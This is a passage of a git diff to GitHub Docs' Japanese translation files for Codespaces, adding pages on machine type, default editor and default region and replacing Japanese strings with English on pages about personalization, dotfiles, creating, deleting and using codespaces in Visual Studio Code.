index 0000000000..34ad12301c --- /dev/null +++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md @@ -0,0 +1,63 @@ +--- +title: Changing the machine type for your codespace +shortTitle: Change the machine type +intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for work you''re doing.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace +topics: + - Codespaces +--- + +## About machine types + +{% note %} + +**Note:** You can only select or change the machine type if you are a member of an organization using {% data variables.product.prodname_codespaces %} and are creating a codespace on a repository owned by that organization. + +{% endnote %} + +{% data reusables.codespaces.codespaces-machine-types %} + +You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. + +For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." +For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)." + +## Changing the machine type in {% data variables.product.prodname_dotcom %} + +{% data reusables.codespaces.your-codespaces-procedure-step %} + + The current machine type for each of your codespaces is displayed. + + !['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png) + +1. Click the ellipsis (**...**) to the right of the codespace you want to modify. +1. Click **Change machine type**. + + !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png) + +1. Choose the required machine type. + +2. Click **Update codespace**. + + The change will take effect the next time your codespace restarts. + +## Force an immediate update of a currently running codespace + +If you change the machine type of a codespace you are currently using, and you want to apply the changes immediately, you can force the codespace to restart. + +1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**. + + ![Click '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png) + +1. From the options that are displayed at the top of the page select **Codespaces: Stop Current Codespace**. + + !['Suspend Current Codespace' option](/assets/images/help/codespaces/suspend-current-codespace.png) + +1. After the codespace is stopped, click **Restart codespace**. + + ![Click 'Resume'](/assets/images/help/codespaces/resume-codespace.png) diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md index 2913726004..fb6299d73c 100644 --- a/translations/ja-JP/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md +++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md @@ -1,6 +1,6 @@ --- -title: アカウントの Codespaces をパーソナライズする -intro: '{% data variables.product.product_name %} の「dotfiles」リポジトリか Settings Sync を使用して、{% data variables.product.prodname_codespaces %} をパーソナライズできます。' +title: Personalizing Codespaces for your account +intro: 'You can personalize {% data variables.product.prodname_codespaces %} by using a `dotfiles` repository on {% data variables.product.product_name %} or by using Settings Sync.' redirect_from: - /github/developing-online-with-github-codespaces/personalizing-github-codespaces-for-your-account - /github/developing-online-with-codespaces/personalizing-codespaces-for-your-account @@ -18,36 +18,36 @@ shortTitle: Personalize your codespaces --- -## {% data variables.product.prodname_codespaces %} のパーソナライズについて +## About personalizing {% data variables.product.prodname_codespaces %} -開発環境を使用する場合、設定とツールを好みやワークフローに合わせてカスタマイズすることが重要です。 {% data variables.product.prodname_codespaces %} では、Codespaces をパーソナライズするときに使用できる方法は主に 2 つあります。 +When using any development environment, customizing the settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_codespaces %} allows for two main ways of personalizing your codespaces. -- [Settings Sync](#settings-sync) - {% data variables.product.prodname_codespaces %} と {% data variables.product.prodname_vscode %} の他のインスタンス間で {% data variables.product.prodname_vscode %} 設定を使用および共有できます。 -- [Dotfiles](#dotfiles) – パブリックの `dotfiles` リポジトリを使用して、スクリプト、シェルの環境設定、およびその他の設定を指定できます。 +- [Settings Sync](#settings-sync) - You can use and share {% data variables.product.prodname_vscode %} settings between {% data variables.product.prodname_codespaces %} and other instances of {% data variables.product.prodname_vscode %}. +- [Dotfiles](#dotfiles) – You can use a public `dotfiles` repository to specify scripts, shell preferences, and other configurations. -{% data variables.product.prodname_codespaces %} で行ったパーソナライズは、作成するすべての codespace に適用されます。 +{% data variables.product.prodname_codespaces %} personalization applies to any codespace you create. -プロジェクトのメンテナは、ユーザが作成したリポジトリのすべての codespace に適用されるデフォルト設定を定義することもできます。 詳しい情報については、「[プロジェクトの {% data variables.product.prodname_codespaces %} を設定する](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)」を参照してください。 +Project maintainers can also define a default configuration that applies to every codespace for a repository, created by anyone. For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project)." ## Settings Sync -Settings Sync を使用すると、設定、キーボードショートカット、スニペット、機能拡張、UI の状態などの設定をマシンと {% data variables.product.prodname_vscode %} のインスタンス間で共有できます。 +Settings Sync allows you to share configurations such as settings, keyboard shortcuts, snippets, extensions, and UI state across machines and instances of {% data variables.product.prodname_vscode %}. To enable Settings Sync, in the bottom-left corner of the Activity Bar, select {% octicon "gear" aria-label="The gear icon" %} and click **Turn on Settings Sync…**. From the dialog, select which settings you'd like to sync. -![管理メニューの Setting Sync オプション](/assets/images/help/codespaces/codespaces-manage-settings-sync.png) +![Setting Sync option in manage menu](/assets/images/help/codespaces/codespaces-manage-settings-sync.png) -詳しい情報については、{% data variables.product.prodname_vscode %} ドキュメントの [Settings Sync ガイド](https://code.visualstudio.com/docs/editor/settings-sync)を参照してください。 +For more information, see the [Settings Sync guide](https://code.visualstudio.com/docs/editor/settings-sync) in the {% data variables.product.prodname_vscode %} documentation. ## Dotfiles -ドットファイルは、`.` で始まる Unix ライクなシステム上のファイルとフォルダであり、システム上のアプリケーションとシェルの設定を制御します。 ドットファイルは、{% data variables.product.prodname_dotcom %} のリポジトリに保存して管理できます。 `dotfiles` リポジトリに含める内容に関するアドバイスとチュートリアルについては、「[GitHub does dotfiles](https://dotfiles.github.io/)」をご覧ください。 +Dotfiles are files and folders on Unix-like systems starting with `.` that control the configuration of applications and shells on your system. You can store and manage your dotfiles in a repository on {% data variables.product.prodname_dotcom %}. For advice and tutorials about what to include in your `dotfiles` repository, see [GitHub does dotfiles](https://dotfiles.github.io/). -{% data variables.product.prodname_dotcom %} のユーザアカウントが `dotfiles` という名前のパブリックリポジトリを所有している場合、{% data variables.product.prodname_dotcom %} は、[個人の Codespaces 設定](https://github.com/settings/codespaces)から有効にすると、このリポジトリを自動的に使用して codespace 環境をパーソナライズできます。 プライベート `dotfiles` リポジトリは現在サポートされていません。 +If your user account on {% data variables.product.prodname_dotcom %} owns a public repository named `dotfiles`, {% data variables.product.prodname_dotcom %} can automatically use this repository to personalize your codespace environment, once enabled from your [personal Codespaces settings](https://github.com/settings/codespaces). Private `dotfiles` repositories are not currently supported. -`dotfiles` リポジトリには、シェルのエイリアスと設定、インストールするツール、またはその他の codespace パーソナライゼーションを含めることができます。 +Your `dotfiles` repository might include your shell aliases and preferences, any tools you want to install, or any other codespace personalization you want to make. -新しいコードスペースを作成すると、{% data variables.product.prodname_dotcom %} は `dotfiles` リポジトリを codespace 環境にクローンし、次のいずれかのファイルを探して環境をセットアップします。 +When you create a new codespace, {% data variables.product.prodname_dotcom %} clones your `dotfiles` repository to the codespace environment, and looks for one of the following files to set up the environment. * _install.sh_ * _install_ @@ -58,13 +58,13 @@ To enable Settings Sync, in the bottom-left corner of the Activity Bar, select { * _setup_ * _script/setup_ -これらのファイルがいずれも見つからない場合、`.` で始まる `dotfiles` 内のファイルまたはフォルダは、codespace の `~` または `$HOME` ディレクトリにシンボリックリンクされます。 +If none of these files are found, then any files or folders in `dotfiles` starting with `.` are symlinked to the codespace's `~` or `$HOME` directory. -`dotfiles` リポジトリへの変更は、新しい codespace ごとにのみ適用され、既存の codespace には影響しません。 +Any changes to your `dotfiles` repository will apply only to each new codespace, and do not affect any existing codespace. {% note %} -**注釈:** 現在、{% data variables.product.prodname_codespaces %} は、`dotfiles` リポジトリを使用した {% data variables.product.prodname_vscode %} エディタの_ユーザ_設定のパーソナライズをサポートしていません。 プロジェクトのリポジトリ内の特定のプロジェクトに対して、デフォルトの _ワークスペース_および_リモート [Codespaces]_ を設定できます。 詳しい情報については、「[プロジェクトの {% data variables.product.prodname_codespaces %} を設定する](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-codespace-configuration)」を参照してください。 +**Note:** Currently, {% data variables.product.prodname_codespaces %} does not support personalizing the _User_ settings for the {% data variables.product.prodname_vscode %} editor with your `dotfiles` repository. You can set default _Workspace_ and _Remote [Codespaces]_ settings for a specific project in the project's repository. For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#creating-a-custom-codespace-configuration)." {% endnote %} @@ -74,7 +74,8 @@ You can use your public `dotfiles` repository to personalize your {% data variab {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.codespaces-tab %} -1. Under "Dotfiles", select "Automatically install dotfiles" so that {% data variables.product.prodname_codespaces %} automatically installs your dotfiles into every new codespace you create. ![Installing dotfiles](/assets/images/help/codespaces/install-dotfiles.png) +1. Under "Dotfiles", select "Automatically install dotfiles" so that {% data variables.product.prodname_codespaces %} automatically installs your dotfiles into every new codespace you create. + ![Installing dotfiles](/assets/images/help/codespaces/install-dotfiles.png) {% note %} @@ -94,6 +95,6 @@ You can also personalize {% data variables.product.prodname_codespaces %} using - To enable GPG verification, see "[Managing GPG verification for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)." - To allow your codespaces to access other repositories, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)." -## 参考リンク +## Further reading -* 「[新しいリポジトリを作成する](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)」 +* "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-new-repository)" diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md index 03f5d185c3..0351991d3e 100644 --- a/translations/ja-JP/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md +++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md @@ -10,7 +10,7 @@ topics: - Set up - Fundamentals product: '{% data reusables.gated-features.codespaces %}' -shortTitle: Prebuilding Codespaces +shortTitle: Prebuild Codespaces --- {% note %} diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md new file mode 100644 index 0000000000..9debd30369 --- /dev/null +++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md @@ -0,0 +1,26 @@ +--- +title: Setting your default editor for Codespaces +intro: 'You can set your default editor for {% data variables.product.prodname_codespaces %} in your personal settings page.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces +topics: + - Codespaces +shortTitle: Set the default editor +--- + +On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application. + +If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). + +## Setting your default editor + +{% data reusables.user_settings.access_settings %} +{% data reusables.user_settings.codespaces-tab %} +1. Under "Editor preference", select the option you want. + ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png) + If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully. + ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png) diff --git a/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md new file mode 100644 index 0000000000..cf9127a3d0 --- /dev/null +++ b/translations/ja-JP/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md @@ -0,0 +1,23 @@ +--- +title: Setting your default region for Codespaces +intro: 'You can set your default region in the {% data variables.product.prodname_github_codespaces %} profile settings page to personalize where your data is held.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces +topics: + - Codespaces +shortTitle: Set the default region +--- + +You can manually select the region that your codespaces will be created in, allowing you to meet stringent security and compliance requirements. By default, your region is set automatically, based on your location. + +## Setting your default region + +{% data reusables.user_settings.access_settings %} +{% data reusables.user_settings.codespaces-tab %} +1. Under "Region", select the setting you want. +2. If you chose "Set manually", select your region in the drop-down list. + ![Selecting your region](/assets/images/help/codespaces/select-default-region.png) diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md index 0c238177b8..ec200503de 100644 --- a/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md +++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/creating-a-codespace.md @@ -1,6 +1,6 @@ --- -title: codespace を作成する -intro: リポジトリのブランチの codespace を作成して、オンラインで開発できます。 +title: Creating a codespace +intro: You can create a codespace for a branch in a repository to develop online. product: '{% data reusables.gated-features.codespaces %}' permissions: '{% data reusables.codespaces.availability %}' redirect_from: @@ -14,13 +14,14 @@ topics: - Codespaces - Fundamentals - Developer +shortTitle: Create a codespace --- -## codespace の作成について +## About codespace creation You can create a codespace on {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %} -Codespaces はリポジトリの特定のブランチに関連付けられており、リポジトリを空にすることはできません。 {% data reusables.codespaces.concurrent-codespace-limit %}詳しい情報については、「[codespace を削除する](/github/developing-online-with-codespaces/deleting-a-codespace)」を参照してください。 +Codespaces are associated with a specific branch of a repository and the repository cannot be empty. {% data reusables.codespaces.concurrent-codespace-limit %} For more information, see "[Deleting a codespace](/github/developing-online-with-codespaces/deleting-a-codespace)." When you create a codespace, a number of steps happen to create and connect you to your development environment: @@ -62,38 +63,39 @@ Organization owners can allow all members of the organization to create codespac Before {% data variables.product.prodname_codespaces %} can be used in an organization, an owner or billing manager must have set a spending limit. For more information, see "[About spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)." -If you would like to create a codespace for a repository owned by your personal account or another user, and you have permission to create repositories in an organization that has enabled {% data variables.product.prodname_codespaces %}, you can fork user-owned repositories to that organization and then create a codespace for the fork. +If you would like to create a codespace for a repository owned by your personal account or another user, and you have permission to create repositories in an organization that has enabled {% data variables.product.prodname_codespaces %}, you can fork user-owned repositories to that organization and then create a codespace for the fork. -## codespace を作成する +## Creating a codespace {% include tool-switcher %} - + {% webui %} {% data reusables.repositories.navigate-to-repo %} -2. リポジトリ名の下で、[Branch] ドロップダウンメニューを使用して、codespace を作成するブランチを選択します。 +2. Under the repository name, use the "Branch" drop-down menu, and select the branch you want to create a codespace for. - ![[Branch] ドロップダウンメニュー](/assets/images/help/codespaces/branch-drop-down.png) + ![Branch drop-down menu](/assets/images/help/codespaces/branch-drop-down.png) 3. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**. - ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png) + ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png) - If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**. ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png) + If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**. + ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png) {% endwebui %} - + {% vscode %} {% data reusables.codespaces.creating-a-codespace-in-vscode %} {% endvscode %} - + {% cli %} {% data reusables.cli.cli-learn-more %} -To create a new codespace, use the `gh codespace create` subcommand. +To create a new codespace, use the `gh codespace create` subcommand. ```shell gh codespace create diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md index 68149b68bb..1ceef28360 100644 --- a/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md +++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/deleting-a-codespace.md @@ -1,6 +1,6 @@ --- -title: codespace を削除する -intro: 不要になった codespace を削除することができます。 +title: Deleting a codespace +intro: You can delete a codespace you no longer need. product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /github/developing-online-with-github-codespaces/deleting-a-codespace @@ -13,6 +13,7 @@ topics: - Codespaces - Fundamentals - Developer +shortTitle: Delete a codespace --- @@ -21,28 +22,28 @@ topics: {% note %} -**注釈:** codespace を作成したユーザだけが削除できます。 現在、Organization のオーナーが Organization 内で作成された Codespaces を削除する方法はありません。 +**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization. {% endnote %} {% include tool-switcher %} - + {% webui %} 1. Navigate to the "Your Codespaces" page at [github.com/codespaces](https://github.com/codespaces). -2. 削除する codespace の右側で {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックし、**{% octicon "trash" aria-label="The trash icon" %} [Delete]** をクリックします。 +2. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete** - ![削除ボタン](/assets/images/help/codespaces/delete-codespace.png) + ![Delete button](/assets/images/help/codespaces/delete-codespace.png) {% endwebui %} - + {% vscode %} {% data reusables.codespaces.deleting-a-codespace-in-vscode %} {% endvscode %} - + {% cli %} @@ -60,5 +61,5 @@ For more information about this command, see [the {% data variables.product.prod {% endcli %} -## 参考リンク +## Further reading - [Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle) diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md index 42f4261a59..a985c3a36c 100644 --- a/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md +++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md @@ -1,6 +1,6 @@ --- -title: codespace で開発する -intro: '{% data variables.product.product_name %} で codespace を開き、{% data variables.product.prodname_vscode %} の機能を使用して開発できます。' +title: Developing in a codespace +intro: 'You can open a codespace on {% data variables.product.product_name %}, then develop using {% data variables.product.prodname_vscode %}''s features.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'You can develop in codespaces you''ve created for repositories owned by organizations using {% data variables.product.prodname_team %} and {% data variables.product.prodname_ghe_cloud %}.' redirect_from: @@ -14,50 +14,52 @@ topics: - Codespaces - Fundamentals - Developer +shortTitle: Develop in a codespace --- ## About development with {% data variables.product.prodname_codespaces %} -{% data variables.product.prodname_codespaces %} は、{% data variables.product.prodname_vscode %} の完全な開発体験を提供します。 {% data reusables.codespaces.use-visual-studio-features %} +{% data variables.product.prodname_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %} {% data reusables.codespaces.links-to-get-started %} -![codespace の概要(注釈付き)](/assets/images/help/codespaces/codespace-overview-annotated.png) +![Codespace overview with annotations](/assets/images/help/codespaces/codespace-overview-annotated.png) -1. サイドバー: デフォルト設定では、このエリアには Explorer でプロジェクトファイルが表示されます。 -2. アクティビティバー: ビューが表示され、それらを切り替える方法が提供されます。 ビューはドラッグアンドドロップで並べ替えることができます。 -3. エディタ: ファイルを編集できます。 各エディタのタブを使用して、必要な場所に正確に配置できます。 -4. パネル: 出力とデバッグ情報、および統合ターミナルのデフォルトの場所を確認できます。 -5. ステータスバー: このエリアには、codespace とプロジェクトに関する有用な情報が表示されます。 たとえば、ブランチ名、設定されたポートなどです。 +1. Side Bar - By default, this area shows your project files in the Explorer. +2. Activity Bar - This displays the Views and provides you with a way to switch between them. You can reorder the Views by dragging and dropping them. +3. Editor - This is where you edit your files. You can use the tab for each editor to position it exactly where you need it. +4. Panels - This is where you can see output and debug information, as well as the default place for the integrated Terminal. +5. Status Bar - This area provides you with useful information about your codespace and project. For example, the branch name, configured ports, and more. -{% data variables.product.prodname_vscode %} の使用の詳細については、{% data variables.product.prodname_vscode %} ドキュメントの[ユーザインターフェースガイド](https://code.visualstudio.com/docs/getstarted/userinterface)を参照してください。 +For more information on using {% data variables.product.prodname_vscode %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode %} documentation. {% data reusables.codespaces.connect-to-codespace-from-vscode %} {% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-codespaces-clients)." -### Codespace をパーソナライズする +### Personalizing your codespace -{% data reusables.codespaces.about-personalization %} 詳しい情報については、「[アカウントの {% data variables.product.prodname_codespaces %} をパーソナライズする](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)」を参照してください。 +{% data reusables.codespaces.about-personalization %} For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)." -{% data reusables.codespaces.apply-devcontainer-changes %}詳しい情報については、「[プロジェクトの {% data variables.product.prodname_codespaces %} を設定する](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)」を参照してください。 +{% data reusables.codespaces.apply-devcontainer-changes %} For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)." -### Codespace からアプリケーションを実行する +### Running your app from a codespace {% data reusables.codespaces.about-port-forwarding %} For more information, see "[Forwarding ports in your codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)." -### 変更をコミットする +### Committing your changes -{% data reusables.codespaces.committing-link-to-procedure %} +{% data reusables.codespaces.committing-link-to-procedure %} ### Using the {% data variables.product.prodname_vscode_command_palette %} The {% data variables.product.prodname_vscode_command_palette %} allows you to access and manage many features for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_vscode %}. For more information, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)." -## 既存の codespace に移動する +## Navigating to an existing codespace 1. {% data reusables.codespaces.you-can-see-all-your-codespaces %} -2. 開発する codespace の名前をクリックします。 ![codespace の名前](/assets/images/help/codespaces/click-name-codespace.png) +2. Click the name of the codespace you want to develop in. + ![Name of codespace](/assets/images/help/codespaces/click-name-codespace.png) Alternatively, you can see any active codespaces for a repository by navigating to that repository and selecting **{% octicon "code" aria-label="The code icon" %} Code**. The drop-down menu will display all active codespaces for a repository. diff --git a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md index e3e396562b..2f9f4c0cdc 100644 --- a/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md +++ b/translations/ja-JP/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md @@ -1,6 +1,6 @@ --- -title: Visual Studio Code で Codespaces を使用する -intro: '{% data variables.product.product_name %} のアカウントに {% data variables.product.prodname_github_codespaces %} 機能拡張を接続することにより、{% data variables.product.prodname_vscode %} で codespace を直接開発できます。' +title: Using Codespaces in Visual Studio Code +intro: 'You can develop in your codespace directly in {% data variables.product.prodname_vscode %} by connecting the {% data variables.product.prodname_github_codespaces %} extension with your account on {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.codespaces %}' redirect_from: - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code @@ -24,54 +24,54 @@ You can use your local install of {% data variables.product.prodname_vscode %} t By default, if you create a new codespace on {% data variables.product.prodname_dotcom_the_website %}, it will open in the browser. If you would prefer to open any new codespaces in {% data variables.product.prodname_vscode %} automatically, you can set your default editor to be {% data variables.product.prodname_vscode %}. For more information, see "[Setting your default editor for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces)." -If you prefer to work in the browser, but want to continue using your existing {% data variables.product.prodname_vscode %} extensions, themes, and shortcuts, you can turn on Settings Sync. 詳しい情報については、「[アカウントの {% data variables.product.prodname_codespaces %} をパーソナライズする](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)」を参照してください。 +If you prefer to work in the browser, but want to continue using your existing {% data variables.product.prodname_vscode %} extensions, themes, and shortcuts, you can turn on Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account#settings-sync)." -## 必要な環境 +## Prerequisites -To develop in a codespace directly in {% data variables.product.prodname_vscode %}, you must install and sign into the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.product_name %} credentials. {% data variables.product.prodname_github_codespaces %} 機能拡張には、{% data variables.product.prodname_vscode %} October 2020 Release 1.51 以降が必要です。 +To develop in a codespace directly in {% data variables.product.prodname_vscode %}, you must install and sign into the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.product_name %} credentials. The {% data variables.product.prodname_github_codespaces %} extension requires {% data variables.product.prodname_vscode %} October 2020 Release 1.51 or later. -{% data variables.product.prodname_vs %} Marketplace を使用して、[{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) 機能拡張をインストールします。 詳しい情報については、{% data variables.product.prodname_vscode %} ドキュメントの「[Extension Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery)」を参照してください。 +Use the {% data variables.product.prodname_vs %} Marketplace to install the [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) extension. For more information, see [Extension Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery) in the {% data variables.product.prodname_vscode %} documentation. {% mac %} {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -2. [**Sign in to view {% data variables.product.prodname_dotcom %}...**] をクリックします。 +2. Click **Sign in to view {% data variables.product.prodname_dotcom %}...**. - ![[Signing in to view {% data variables.product.prodname_codespaces %}]](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) + ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png) -3. {% data variables.product.prodname_vscode %} からの {% data variables.product.product_name %} のアカウントへのアクセスを承認するには、[**Allow**] をクリックします。 -4. 機能拡張を承認するには、{% data variables.product.product_name %} にサインインします。 +3. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**. +4. Sign in to {% data variables.product.product_name %} to approve the extension. {% endmac %} {% windows %} {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -2. [REMOTE EXPLORER] ドロップダウンを使用して、[**{% data variables.product.prodname_github_codespaces %}**] をクリックします。 +2. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**. - ![{% data variables.product.prodname_codespaces %} ヘッダ](/assets/images/help/codespaces/codespaces-header-vscode.png) + ![The {% data variables.product.prodname_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png) -3. [**Sign in to view {% data variables.product.prodname_codespaces %}...**] をクリックします。 +3. Click **Sign in to view {% data variables.product.prodname_codespaces %}...**. - ![[Signing in to view {% data variables.product.prodname_codespaces %}]](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) + ![Signing in to view {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png) -4. {% data variables.product.prodname_vscode %} からの {% data variables.product.product_name %} のアカウントへのアクセスを承認するには、[**Allow**] をクリックします。 -5. 機能拡張を承認するには、{% data variables.product.product_name %} にサインインします。 +4. To authorize {% data variables.product.prodname_vscode %} to access your account on {% data variables.product.product_name %}, click **Allow**. +5. Sign in to {% data variables.product.product_name %} to approve the extension. {% endwindows %} -## {% data variables.product.prodname_vscode %} で Codespaces を作成する +## Creating a codespace in {% data variables.product.prodname_vscode %} {% data reusables.codespaces.creating-a-codespace-in-vscode %} -## {% data variables.product.prodname_vscode %} で codespace を開く +## Opening a codespace in {% data variables.product.prodname_vscode %} {% data reusables.codespaces.click-remote-explorer-icon-vscode %} -2. [Codespaces] 